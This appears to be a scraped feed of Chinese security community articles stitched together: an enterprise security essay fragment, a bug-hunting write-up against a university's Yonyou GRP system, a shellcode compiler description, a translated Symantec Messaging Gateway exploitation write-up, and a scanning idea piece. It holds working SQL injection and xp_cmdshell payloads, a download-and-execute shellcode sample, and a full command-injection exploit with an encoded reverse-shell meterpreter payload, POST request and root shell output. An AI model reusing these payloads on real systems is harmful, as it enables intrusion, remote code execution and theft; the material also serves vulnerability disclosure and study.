* 终端安全管控、自动化运维系统等集中控制系统后台登录限制访问来源。（优先使用网络访问控制、其次使用系统层限制、搭配使用应用层限制）
### 4、纵深防御-感知能力建设
现在很多组织面临的防御困境，从实战角度看，很多步骤基本上接近于零覆盖。
### 5、内生安全-安全左移
安全是一个奢侈品，从大多数企业不配备安全人员、配备但是人数很少，安全乙方产品工程质量参差不齐，可以发现，解决安全问题的理论、方法，早就被研究透。但是能落地落实的实践极少。
最后，因为大厂有钱有人，安全团队、资源投入比较多，更早的演进到了一个阶段：把安全能力内生化，融入基础设施，公司所有的产品/日常行为都通过基础设施控制，减少了对人的主动配合/安全知识/意识方面的依赖，不给大家犯错误的机会。因此，随着国内互联网头部公司市值、基础设施建设、外挂式安全建设到达一定的水位，头部的团队自然而然，也走到了这一步。
与此同时，Google把这些实践以《Google基础设施安全》、《BeyondProd》等Paper分享出来，业界开始热议“零信任”、“无边界”、“内生”、“云原生”的概念，都跟这个趋势有关系，本质上说的是一件事。
以热议的零信任、无边界为例：比如说，安装补丁，你再怎么催，也有很多人不愿意安装，拖拉。只要你做了这个所谓的beyondcorp，那不安装补丁，在网关处就直接拒绝了工作请求，你不得不停下来把补丁安装好。或者把杀毒软件升级好。“基础设施”内部生长出安全特性，基础设施是前提，基础设施也自然是卡点。
### 6、安全验证-失效检测
> 没有验证，就不是真的运营。聂君
### 7、失效检测-矩阵式监控
将安全性当可用性一样运维。
有空就看看这篇：[企业安全建设之矩阵式监控提升安全有效性实践](http://mp.weixin.qq.com/s?__biz=MzI2MjQ1NTA4MA==&mid=2247483804&idx=1&sn=32986ddcfe041260ad504bcdc2f49d16&chksm=ea4babdbdd3c22cda53cccf39f4678d12d1a95a78996823e8c5d1a30f976e53086828004c94d&scene=21#wechat_redirect)
### 8、向上管理-要资源
> 安全团队要想法设法，在每次组织和文化变更中获益。王宇@xi4oyu
细品，还真是靠谱的方法。
另外能不能要来资源，根源还是信任，信任不是凭空而来，而是来自于安全负责人带领团队做出的每一分绩效，以及展现出的能力和担当。最后一点是：拥抱变化，做好准备。
在
[2020安全工作展望](http://mp.weixin.qq.com/s?__biz=MzI2MjQ1NTA4MA==&mid=2247484910&idx=1&sn=3256c05f6c64ddd677727d6455ae0e3c&chksm=ea4bafa9dd3c26bf25384a1f2e53222df7281b0177c625fdfc2e3f1e152f1e9b00f92f60343a&scene=21#wechat_redirect)
一文中提到：甲方安全团队组织架构会发生剧烈变化，安全团队能否承受变化。
大行、股份制银行会设置安全处和风险处负责安全。最近欣闻某大行成立安全运营中心（二级部），负责人为一级部门副总或总助级别，安全人员编制也大幅度增加。去年某股份制银行也成立了安全运营中心（二级部），不少股份制银行纷纷扩大安全人员编制，一次性增加30、50甚至过百的安全编制。这种剧烈变化，是企业为适应整个网络安全大环境变化下的主动变化，未来越来越多的银行，以及其他企业跟进。
这种变化体现了企业高级管理层为解决传统安全问题，选择从组织架构入手，牵一发而动全身，抓住首要关键问题的高瞻远瞩。但在成立了安全运营中心，人员迅速扩编后，原有安全团队能力和视野格局等，能否承受变化，迅速响应高级管理层需求，从而在剧烈变化中站稳脚跟，需要早做准备的。
> 说人话就是：老板重视安全了，升级了安全团队，但安全老大的位子不一定是给你的。聂君
### 9、安全生态-甲乙方相处
谭晓生提到：从我的过往经历来看，网络安全公司的生存逻辑，是做出标准化的产品销售给很多客户。如果这个客户维护量比较小，并且没有特殊的应用，那么此时这个产品就可以发挥很好的效果；但是如果客户规模比较大，流量也比较大，那么就容易发生各种各样的问题。
所以对于甲方用户来说，所得到的安全产品和服务的质量，取决于你在安全公司客户群体中的优先级，优先级非常重要。我们应该通过各种手段变成安全公司最重要的客户，这样才可以在遇到问题时得到最好的解决，甚至是定制化的服务。
安全是一个特别苦逼的行业。首先，安全行业一个员工一年能创造的平均年收入是40到50万元；其次，安全的利润非常少，人均毛利更少。
整个中国网络安全产业几百家公司在过去一年才创造了478个亿的收入，最大的一家安全公司用了8000人才赚了30个亿，如此看来，指望安全业务来挣钱，是几乎不可能的。
> 通过各种手段变成安全公司最重要的客户，这样才可以在遇到问题时得到最好的解决，甚至是定制化的服务谭晓生
### 10、安全环境
CISO在企业不同业务场景中扮演不同角色。某个场景需要成为技术方面的专家，为解决网络安全问题提供技术支持。在另一个场景成为战略级别的业务合伙人，为企业相关业务决策提供风险可视化的数据支持。
——致谢——-
部分内容参考lakehu、职业欠钱（现在很有钱了）、avfisher（安全小飞侠），一并致谢。 | 社区文章 |
闲来没事,突然想到能不能挖一手edu的漏洞，打开edusrc高校排行榜随机抽取了一位幸运儿，然后开始对此开始测试
# 1
第一步肯定是信息收集，比较懒直接就收集子域名，什么whoami，资产，CDN管都不管，开启oneforall就是开干
兴高采烈地的打开扫完的文档
怎么就这几个站点 这下难住了
一个一个网站测试过去 都没有很好的结果都是一些危害较低的
仔细想想 又回来信息收集 收集一手c段
完美成功的拿下了c段
现在就是测试有没有c段的网站了
利用fofa语法搜索
ip="X.X.X.0/24" && status_code="200"
一个一个的网段测试下来终于找到一个脆弱的站点了
打开一看 是用友的GRP
百度搜索一下有没有可以利用的漏洞 发现还是有很多的漏洞的
开始检测漏洞
经过验证发现存在SQL注入和RCE 美滋滋又是一个高危
通过backbar POST方式提交
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><r9packet
version="1"><dataformat>XML</dataformat><r9function><name>AS_DataRequest</name><params><param><name>ProviderName</name><data
format="text">DataSetProviderData</data><param><name>Data</name><data
format="text">select db_name() </data></params></r9function></r9packet>
然后burp抓包 发送到重放器中
nice 成功爆出数据库的名字 不过只是中危
接下来尝试能不能RCE
同样 通过backbar POST方式提交
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><r9packet
version="1"><dataformat>XML</dataformat><r9function><name>AS_DataRequest</name><params><param><name>ProviderName</name><data
format="text">DataSetProviderData</data><param><name>Data</name><data
format="text">exec xp_cmdshell
'whoami'</data></params></r9function></r9packet>
然后burp抓包 发送到重放器中
成功执行 拿下一个高危
# 结尾
漏洞当前已经上交edusrc，挖掘的没什么特别难的地方，漏洞也都是复现网上的，最主要的是信息收集，收集的地址越多，能够拿下高危的机会也就越大(大佬除外),总的来说就是信息收集找寻脆弱站点，然后利用网上公布相同系统的漏洞进行利用。 | 社区文章 |
项目地址：https://github.com/NytroRST/ShellcodeCompiler
Shellcode Compiler 是一款能将 C/C++ 代码编译成体积小，位置无关和无 NULL 字节的 Windows shellcode
的工具。它能以用户友好的方式调用任何 Windows API 函数。
Shellcode Compiler 将输入的源文件用自己的编译器来解释代码，并生成一个由
NASM（http://www.nasm.us/）汇编生成的汇编文件。
Shellcode Compiler 与 2016 年 11 月在罗马尼亚的 DefCamp 安全会议上发布。
### 命令行选项
-h (--help) : Show this help message
-v (--verbose) : Print detailed output
-t (--test) : Test (execute) generated shellcode
-r (--read) : Read source code file
-o (--output) : Output file of the generated binary shellcode
-a (--assembbly) : Output file of the generated assembly code
### 源码示例
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);
### 调用示例
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm
### 一些限制
1. 不能使用调用 API 的返回值
2. 不能使用指针或缓冲区
3. 不能声明变量
而所有这些限制将尽快修复，然而还会存在一些限制。这是一个 Alpha 版本。欢迎提交 bug 和建议。
### 作者
Ionut Popescu (@NytroRST) 是 SecureWorks (www.secureworks.com) 的高级渗透测试工程师。
* * * | 社区文章 |
# 【技术分享】如何攻击Symantec Messaging Gateway：从弱口令到远程代码执行
|
##### 译文声明
本文是翻译文章，文章来源：pentest.blog
原文地址：<https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
如果你一直在关注我们的博客，你肯定会对我们撰写的“[意外之旅](https://pentest.blog/article-series/)”系列文章非常熟悉。在本文中，我会跟大家分享我们在实际生活中对Symantec Messaging
Gateway的渗透测试经验，最终任务是实现目标系统上系统命令的远程执行。
**二、初始阶段：枚举可用信息**
枚举始终是最为关键的环节！针对客户的IP地址范围，我分别执行了DNS枚举、Google查询以及Nmap扫描。此外，我还在公开泄露数据源以及我们内部研发的密码数据库中搜索了目标公司的邮件信息。最终我找到了2个不同的凭证信息，其中1个凭证信息在2个月之前被录入到我们的内部数据库中。
当我对Nmap的扫描结果分析完毕之后，我发现客户的Symantec Messaging
Gateway管理接口正公开暴露在互联网中。我使用Google搜索引擎，找到厂商提供的管理文档，查询这款产品的默认用户名。根据厂商说明，产品的默认用户名为admin，但密码需要用户在安装过程中单独指定。
因此我们的问题就转化为找出admin用户的密码！我准备尝试以下动作：
1、对公开泄露数据源中的哈希进行暴力破解，尝试通过Exchange服务器提供的OWA接口登录邮箱账户。然后挖掘所有可用的邮件信息，找出可能的密码。
2、对诸如admin、123456等的弱口令进行暴力破解。
实话实说，第二种办法相当奏效。实际使用的密码为Passw0rd，大写的P，数字0。这个密码是我手动试出来的，因为大多数IT员工在设置账户密码时需要包含至少1位大写字母以及1个数字，以满足域控的密码策略。出于这个原因，他们通常会使用这种组合来创建密码。
这个时刻对我们来说是一个“幸运时刻”。我们成功获取了Symantec Messaging
Gateway网页入口的访问权限，但我还是想要获得更多突破！现在，我已踏上征途，开始探索。
**三、前提假设**
在开始分析目标产品的漏洞信息之前，我有如下几点假设：
1、产品使用ISO/OVA文件进行分发。
2、产品由著名的安全公司所生产，因此很难挖掘出重要的信息？（希望不要是这种情况）
3、产品的安全加固等级如同地狱一般严峻。
4、产品使用了非常复杂的应用架构。
我从官方页面下载了一个包含30天许可证的试用版产品。
**四、拆解Symantec Messaging Gateway**
安装完毕后，我发现Symantec Messaging Gateway使用了如下加固保护措施：
1、严格限制的shell。我可以通过SSH接口访问目标设备，但只能获取一个受限的shell。此外，目标主机上只开放了80及443端口。
2、目标对GRUB密码做了防护。
**4.1 操作阶段：源代码**
我需要访问管理接口的源代码，但因为受限shell的原因，我不能使用SSH接口。我可以考虑查找突破受限shell的方法，但这一过程可能会花费太多时间。因此，我决定采用如下步骤：
1、使用CentOS镜像启动目标虚拟机（因为该产品同样使用了CentOS）。
2、从镜像中选择“Rescue installed system”选项。
3、等待一段时间，直至启动过程结束。
4、打开“/mnt/sysimage/boot/grub.conf”文件，删除GRUB密码保护那一行。
5、使用Vmware选项卸载光盘镜像。
6、重启目标主机。
启用GRUB密码保护的那一行
**4.1.1 以root身份访问**
通过grub菜单，我成功以单用户模式启动了目标主机，在这一模式下，我们可以直接获得root权限的shell，同时不启动任何服务。我原本打算禁用admin用户的受限shell，但后来还是决定使用其他的办法来解决这一问题。我修改了sshd_config文件，以便启用root用户访问功能，同时修改了root用户的密码。
再次启动目标主机。
**4.1.2 探测并收集服务信息**
我们能够以root身份，通过SSH接口访问目标主机，这意味着我们可以收集该产品的更多信息。我对目标主机做了一次NMAP扫描，扫描结果如下：
➜ ~ sudo nmap -sS -sV -p - --open 12.0.0.199 -Pn -n
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
25/tcp open smtp Symantec Messaging Gateway smtpd
443/tcp open ssl/http Apache Tomcat/Coyote JSP engine 1.1
8443/tcp open ssl/http Apache Tomcat/Coyote JSP engine 1.1
41002/tcp open ssl/unknown
41015/tcp open smtp Symantec Messaging Gateway smtpd
41016/tcp open smtp Symantec Messaging Gateway smtpd
41017/tcp open smtp Symantec Messaging Gateway smtpd
41025/tcp open smtp
41443/tcp open ssl/http Apache Tomcat/Coyote JSP engine 1.1
443、8443以及41443端口：与管理接口相关的服务。
41015-41025端口：这个产品的设计初衷就是用于email分析的，因此开放这些端口很正常。
41002端口：这是什么鬼？
这个端口非常有趣，我们需要找出目标主机开放这个服务的目的。
[root@hacker ~]# netstat -tnlp |grep 41002
tcp 0 0 0.0.0.0:41002 0.0.0.0:* LISTEN 2560/bmagent
[root@hacker ~]#
[root@hacker ~]# ps aux|grep 2560
mailwall 2560 0.0 0.3 550428 12816 ? Sl 12:35 0:00 /opt/Symantec/Brightmail/scanner/sbin/bmagent -c /data/scanner/etc/agentconfig.xml
[root@hacker ~]#
[root@hacker ~]# file /opt/Symantec/Brightmail/scanner/sbin/bmagent
/opt/Symantec/Brightmail/scanner/sbin/bmagent: ELF 64-bit LSB executable,
x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux
2.6.18, not stripped
根据以上结果，我们可以知道是谁在监听这个端口。我使用netstat命令找出负责这个服务的具体程序，然后通过grep命令，找到程序具体执行的命令。最后一步，我使用file命令观察该文件是脚本文件还是二进制文件等信息。
[root@hacker ~]# cat /data/scanner/etc/agentconfig.xml
<?xml version="1.0"?>
<!-- Default agent configuration file for brightmail -->
<!-- InstallAnywhere Macros inserted -->
<installation xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="6.0.0.0">
<configdir>/data/scanner/etc</configdir>
<mtalogfile>/data/logs/maillog</mtalogfile>
<packages>
<package name="agentPackage" installed="true" enabled="true"/>
</packages>
<programs>
<program xsi:type="agentType" name="agent">
<log level="4" period="1" periodUnits="DAY" numberRetained="30">/data/logs/scanner/agent_log</log>
<networkAddress host="*" port="41002"/>
<allowedIPs><allowedIP>127.0.0.1</allowedIP>
<allowedIP>12.0.0.199</allowedIP>
<allowedIP>1.1.1.1</allowedIP>
<allowedIP>1.1.1.2</allowedIP>
<allowedIP>1.1.1.3</allowedIP></allowedIPs>
<ssl certFile="/data/scanner/etc/agent.cert" keyFile="/data/scanner/etc/agent.key"/>
</program>
</programs>
</installation>
以上是配置文件的具体内容。虽然该软件在所有的网络接口上运行相关服务，但我们只能通过白名单IP地址来访问这个服务。让我们记住这一点，然后继续探索。
**4.1.3 定位源代码**
找到源代码的具体位置对我来说不是件难事。通过若干命令，就能找出Web服务所在的进程ID，以及启动该服务所执行的具体指令，如下所示。
[root@hacker ~]# netstat -tnlp |grep 443
tcp 0 0 :::41443 :::* LISTEN 2632/jsvc.exec
tcp 0 0 :::8443 :::* LISTEN 2632/jsvc.exec
tcp 0 0 :::443 :::* LISTEN 2632/jsvc.exec
[root@hacker ~]#
[root@hacker ~]# ps aux|grep 2632
bcc 2632 2.1 13.8 3482224 541216 ? Sl 12:35 0:44 jsvc.exec -user bcc -home /usr/java/latest -wait 1200 -pidfile /var/run/jsvc.pid -outfile /data/logs/bcc/catalina.out -errfile &1 -Xmx800M -XX:MaxPermSize=128m -Djvm=bcc -Djava.awt.headless=true -Djava.util.logging.config.file=/data/bcc/conf/logging.properties -Dorg.apache.jasper.compiler.Parser.STRICT_QUOTE_ESCAPING=false -Dorg.apache.el.parser.SKIP_IDENTIFIER_CHECK=true -Dcatalina.base=/data/bcc -Dcatalina.home=/usr/share/apache-tomcat-7.0.62 -Djava.io.tmpdir=/data/bcc/temp -cp /usr/share/java/commons-daemon.jar:/usr/share/apache-tomcat-7.0.62/bin/bootstrap.jar:/usr/share/apache-tomcat-7.0.62/bin/tomcat-juli.jar org.apache.catalina.startup.Bootstrap
root 8106 0.0 0.0 103312 856 pts/0 S+ 13:10 0:00 grep 2632
[root@hacker ~]#
从上述输出信息中，我发现貌似有个用户名为bcc。果不其然，我在“/data/bcc”这个文件夹中找到了管理接口的全部源代码。
我压缩了整个文件夹，然后通过SCP将源代码压缩包拷贝出来。
**4.2 追踪未知服务**
现在我们已经拿到了源代码，我们还需要知道某个服务的目的。我使用jd-gui工具，深入分析了程序的JAVA源码，这个工具也是我最喜欢的java反编译器。
根据前面情况可知，这个服务只能通过白名单IP地址来访问。这意味着，源代码中肯定使用的是127.0.0.1这个地址，没有使用服务器所在的IP地址。此外，127.0.0.1也是第一个白名单IP地址。
我在源代码中搜索127.0.0.1这个字符串，并在backupNow函数中找到如下代码片段：
try
{
if (this.log.isInfoEnabled()) {
this.log.info(this.rb.getLocalizedMessage("information.agent.script.databaseBackup.start"));
}
String scriptName = NameHelper.getDbBackup();
AgentResultTO result = ScriptHelper.executeScript("127.0.0.1", 41002, scriptName,
ScriptParamFactory.createAgentParam(params), 2, AgentSettingsDAO.TimeoutLength.Infinite);
if (this.log.isInfoEnabled()) {
this.log.info(this.rb.getLocalizedMessage("information.agent.script.databaseBackup.end"));
}
if (result.isError())
{
String message = ScriptHelper.decodeMessage(result);
ScriptHelper.logError("error.agent.script.databaseBackup", message);
ScriptHelper.generateError("error.agent.script.databaseBackup", message);
}
}
catch (BrightmailException e)
{
ScriptHelper.generateError("error.agent.script.databaseBackup", e.getMessage());
}
这正是我想要看到的代码。应用程序将脚本名及参数作为数据发送给服务。让我们来找找哪个脚本会被执行。从代码中可知，scriptName参数的值由getDbBackup函数的返回值来决定。
public static String getDbBackup()
{
if (dbBackup == null)
{
StringBuilder builder = new StringBuilder(25);
builder.append("$SCRIPTSDIR$$/$");
builder.append("db-backup");
dbBackup = builder.toString();
}
return dbBackup;
}
非常棒，现在我们知道了哪个脚本或者程序会被执行，让我们来找到它。
[root@hacker bcc]# find /opt/ -type f|grep 'db-backup'
/opt/Symantec/Brightmail/cli/bin/db-backup
/opt/Symantec/Brightmail/cli/sbin/db-backup
/opt/Symantec/Brightmail/cli/man/man1/db-backup.1
[root@hacker bcc]#
[root@hacker bcc]# cat /opt/Symantec/Brightmail/cli/bin/db-backup
#!/bin/sh
. /data/scanner/etc/brightmail-env
/usr/bin/sudo /opt/Symantec/Brightmail/cli/sbin/db-backup "$@"
事情变得越来越有趣。当某个任务由该服务启动后，这个任务会执行一个db-backup bash脚本，这个脚本会使用sudo命令执行另外一个命令。
现在是时候找出执行这个流程的最终要素了。感谢strust.xml文件的帮助，我们借此能找出哪个URL被映射到哪个类和方法上。xml文件的定义如下所示：
<action path="/backup/add" forward="/backup/action2.do?method=add"/>
<action path="/backup/edit" forward="/backup/action2.do?method=edit"/>
<action path="/backup/backupNow" forward="/backup/action2.do?method=showBackupNow"/>
<action path="/backup/action2"
type="com.symantec.smg.controlcenter.disasterrecovery.backup.BackupAction"
name="backupForm"
scope="request"
parameter="method"
validate="false"
input="/admin_backup_restore.jsp">
<forward name="success" path="/admin_backup_edit.jsp"/>
</action>
这意味着我们可以通过“/brightmail/admin/backup/backupNow.do”来执行这个流程。在应用软件中，与之对应的屏幕截图如下所示。
现在我们知道Symantec能够通过FTP或者SCP将备份文件存储到远程服务器上。由于这一过程通常耗时较长，因此他们决定通过后台任务方式执行这一过程，同时使用41002端口所对应的服务用来管理这类任务。让我们来重复这一过程，看看哪条命令会被执行。
[root@hacker bcc]# ps aux|grep 12.0.0.15
mailwall 11296 0.0 0.0 108204 1308 ? S 13:37 0:00 /bin/sh /opt/Symantec/Brightmail/common/sbin/db-backup -f SCP://root:[email protected]/tmp -t 1 -s manual
root 11297 0.0 0.0 175096 2672 ? S 13:37 0:00 /usr/bin/sudo /opt/Symantec/Brightmail/cli/sbin/db-backup -f SCP://root:[email protected]/tmp -t 1 -s manual
root 11298 5.0 0.5 173584 23132 ? S 13:37 0:00 /usr/bin/perl -w /opt/Symantec/Brightmail/cli/sbin/db-backup -f SCP://root:[email protected]/tmp -t 1 -s manual
root 11303 0.0 0.0 57244 2400 pts/2 Ss+ 13:37 0:00 /usr/bin/scp -P 22 -q /data/tmp/db-backup.10.6.2-7.brightmail.Apr-26-17-13-37.tar [email protected]:/tmp.full.manual.tar.bz2
root 11304 0.0 0.0 59700 2952 pts/2 S+ 13:37 0:00 /usr/bin/ssh -x -oForwardAgent no -oPermitLocalCommand no -oClearAllForwardings yes -p22 -q -lroot 12.0.0.15 scp -t /tmp.full.manual.tar.bz2
root 11307 0.0 0.0 103308 872 pts/0 S+ 13:37 0:00 grep 12.0.0.15
[root@hacker bcc]#
非常棒！这个位置很有可能存在命令注入漏洞。你可以看到，我们通过Web界面设置的参数最终会被bmagent服务所使用，以便通过SSH方式传输文件。
让我们来看看哪个地方会对输入进行验证。我敢打赌，在输入被投递到bmagent服务之前，这个Web应用肯定会在某处对输入进行验证。
**4.3 找出存在漏洞的参数**
负责输入验证的代码如下：
if (storeRemoteBackup)
{
if (EmptyValidator.getInstance().isValid(remoteBackupAddress))
{
exceptionMsgKeys.add("error.backup.host.ip.required");
focusElement = "remoteBackupAddress";
}
else if ((!DomainValidator.getInstance().isValid(remoteBackupAddress)) &&
(!RoutableIpValidator.getInstance().isValid(remoteBackupAddress)))
{
exceptionMsgKeys.add("error.backup.host.ip.invalid");
focusElement = "remoteBackupAddress";
}
if (EmptyValidator.getInstance().isValid(port))
{
exceptionMsgKeys.add("error.backup.host.port.empty");
focusElement = "remoteBackupPort";
}
else if (!TcpUdpPortValidator.getInstance().isValid(port))
{
exceptionMsgKeys.add("error.backup.host.port.invalid");
focusElement = "remoteBackupPort";
}
String path = backupForm.get("remoteBackupPath").toString();
if (EmptyValidator.getInstance().isValid(path))
{
exceptionMsgKeys.add("error.backup.path.empty");
focusElement = "remoteBackupPath";
}
else
{
UsAsciiValidator v = UsAsciiValidator.getInstance();
if (!v.isValid(path))
{
exceptionMsgKeys.add("error.backup.path.only.ascii.allowed");
focusElement = "remoteBackupPath";
}
}
}
验证过程使用了如下规则：
1、remoteBackupAddress不能为空。
2、remoteBackupAddress必须为可路由的IP地址。
3、端口（port）不能为空。
4、端口必须为有效的TCP和UDP端口。
5、路径（path）不能为空。
6、路径必须是ASCII字符串。
因此我们显然可以通过path参数实现命令注入。
**4.4 完成攻击任务**
我们可以通过以下步骤完成命令注入攻击任务。
1、使用有效凭证登陆应用。
2、转到“/brightmail/admin/backup/backupNow.do”。
3、选择“Store backup on a remote location”选项。
4、选择协议类型为SCP。
5、填入某个有效的SSH服务所对应的IP地址、端口信息。（你可以使用kali系统搭建这个服务）。
6、启用“Requires authentication”功能。
7、填入SSH服务所对应的用户名及密码信息。
8、将攻击载荷放在tmp参数上。不要忘了使用“$()”或者““”，这样才能执行命令注入攻击。
在我的测试过程中，我发现在载荷中使用空格符（SPACE）会导致某些环节崩溃，你可以使用$IFS来替换空格符。
**4.5 PoC**
我喜欢使用meterpreter，总是倾向于获取一个meterpreter shell，不喜欢获取cmd
shell。我用来获取python版meterpreter的技巧如下。
首先，使用msfvenom来生成python版的载荷。
msfvenom -p python/meterpreter/reverse_tcp LHOST=12.0.0.1 LPORT=8081 -f raw
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMi4wLjAuMScsODA4MSkpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))
因此，我需要将载荷传递到python -c
"PAYLOAD"命令中，但应用程序不允许使用空格符，因此我使用的是${IFS}，这样一来，最终的载荷就变成python${IFS}-v${IFS}"PAYLOAD"。但问题在于我们的载荷内部还有一个空格符，位于import以及base64之间，并且${IFS}是Linux可以用的一个小技巧，但对python来说并不适用！
现在是发挥创造力的时间了。我想到了一个主意。我可以使用perl载荷。因为根据我之前的经验，我可以创造一个不带有空格符的perl载荷。因此，我们可以构建一个perl载荷，利用这个载荷执行我们的meterpreter
python载荷。
实现的方法如下：
cmd = "python -c "#{payload.encoded}""
final_payload = cmd.to_s.unpack("H*").first
p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
最终的载荷如下所示：
perl${IFS}-e${IFS}'system(pack(qq,H732,,qq,707974686f6e202d632022696d706f7274206261736536342c7379733b65786563286261736536342e6236346465636f6465287b323a7374722c333a6c616d62646120623a627974657328622c275554462d3827297d5b7379732e76657273696f6e5f696e666f5b305d5d28276157317762334a3049484e765932746c6443787a64484a315933514b637a317a62324e725a5851756332396a613256304b4449736332396a613256304c6c4e5051307466553152535255464e4b51707a4c6d4e76626d356c5933516f4b4363784d6934774c6a41754d5363734e4451304e436b70436d77396333527964574e304c6e56756347466a6179676e506b6b6e4c484d75636d566a646967304b536c624d46304b5a44317a4c6e4a6c5933596f62436b4b6432687062475567624756754b4751705047773643676c6b4b7a317a4c6e4a6c5933596f624331735a57346f5a436b70436d56345a574d6f5a4378374a334d6e4f6e4e394b516f3d2729292922,))')
这是一个包含python版meterpreter载荷的perl载荷。现在是时候搞定shell了。我向服务器以HTTP方式发送如下POST请求，成功触发了漏洞：
POST /brightmail/admin/backup/performBackupNow.do HTTP/1.1
Host: 12.0.0.199:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 1188
Referer: https://12.0.0.199:8443/brightmail/admin/backup/backupNow.do
Cookie: JSESSIONID=67376D92B987724ED2309C86990690E3; userLanguageCode=en; userCountryCode=US; navState=expanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded; JSESSIONID=0360B579A58BBBB8D74FEE4767BCAC10
Connection: close
Upgrade-Insecure-Requests: 1
pageReuseFor=backup_now&id=&symantec.brightmail.key.TOKEN=48f39f735f15fcaccd0aacc40b27a67bf76f2bb1&backupData=full&customType=configuration&includeIncidentMessages=true&includeReportData=true&includeLogData=true&backupTo=2&remoteBackupProtocol=SCP&remoteBackupAddress=127.0.0.1&remoteBackupPort=22&remoteBackupPath=tmp$(perl${IFS}-e${IFS}'system(pack(qq,H732,,qq,707974686f6e202d632022696d706f7274206261736536342c7379733b65786563286261736536342e6236346465636f6465287b323a7374722c333a6c616d62646120623a627974657328622c275554462d3827297d5b7379732e76657273696f6e5f696e666f5b305d5d28276157317762334a3049484e765932746c6443787a64484a315933514b637a317a62324e725a5851756332396a613256304b4449736332396a613256304c6c4e5051307466553152535255464e4b51707a4c6d4e76626d356c5933516f4b4363784d6934774c6a41754d5363734e4451304e436b70436d77396333527964574e304c6e56756347466a6179676e506b6b6e4c484d75636d566a646967304b536c624d46304b5a44317a4c6e4a6c5933596f62436b4b6432687062475567624756754b4751705047773643676c6b4b7a317a4c6e4a6c5933596f624331735a57346f5a436b70436d56345a574d6f5a4378374a334d6e4f6e4e394b516f3d2729292922,))')&requiresRemoteAuthentication=true&remoteBackupUsername=root&remoteBackupPassword=qwe123
漏洞触发过程如下所示：
msf exploit(handler) > run
[*] Started reverse TCP handler on 12.0.0.1:4444
[*] Starting the payload handler...
[*] Sending stage (39842 bytes) to 12.0.0.199
[*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.199:54077) at 2017-04-30 17:03:26 +0300
meterpreter > shell
Process 15849 created.
Channel 1 created.
sh: no job control in this shell
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1#
我们在Symantec Messaging
Gateway上获取了一个root权限的shell，然后继续渗透测试旅程。然而我不能与大家分享我们后续的渗透过程，因为这一过程包含客户的敏感信息。
**4.6 Metasploit模块**
我同样实现了一个metasploit模块，该模块的工作过程如下所示（gif动图）：
大家可以通过[此链接](https://github.com/rapid7/metasploit-framework/pull/8540)获取这个模块。
**五、时间线**
2017年4月24日：发现漏洞
2017年4月24日：在没有获得厂商支持的前提下，我们向PRODAFT GPACT成员们共享了漏洞的细节及应急补救方法。
2017年4月26日：第一次与厂商接触。
2017年5月2日：Symantec产品团队确认漏洞有效。
2017年5月25日：我们请求漏洞相关的更新信息。
2017年5月25日：Symantec回复说他们已经准备在6月份发布补丁，补丁发布时会通知我们。
2017年6月8日：我们的客户通知我们他们已经收到厂商的[更新通知](https://support.symantec.com/en_US/article.ALERT2377.html)。看样子Symantec在没有通知我们的前提下，就发布了10.6.3版本的更新版本，也没有通知我们对补丁有效性进行确认。
2017年6月10日：漏洞细节向公众公布。 | 社区文章 |
# 自动化漏洞挖掘之初步构想
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
我们总是在挖洞，很多情况下，挖洞并不是那么的快乐，这里分为2点，一种就是感觉漏洞太好挖了，但是会花费很多时间去挖洞。一种就是太难挖和某种因素，导致自己错过了某些漏洞。
所以有时候，扫描器和自动挖洞程序是一个不错的选择。
## 0x01 挖掘思路
漏洞扫描器无非就是爬虫+payload检测，目前payload检测器已经有了，我们可以选择用长亭科技的xray。
参考：<https://github.com/chaitin/xray>
被动式漏洞扫描器,然后就是爬虫的问题了，这种事情，一般是不会考虑自己去写的，但是目前网上的爬虫并不是特别好，无法渲染js是一个大的问题，也有的是基于web1.0的。
偶然间才看到headless-chrom这个好玩的工具，完全可以做到自动化部署。
参考: <https://thief.one//2018/06/07/1/>
这个是可以对js很好的渲染，模拟最真实的环境下进行爬虫测试，具体好处是什么，可以自行查询相关资料。
然后结合360 0Kee-Team的自动填充参数脚本来进行爬虫，这样就解决了我们爬虫的问题。
可以说，自动化挖洞质量很大程度上取决于爬取的url。
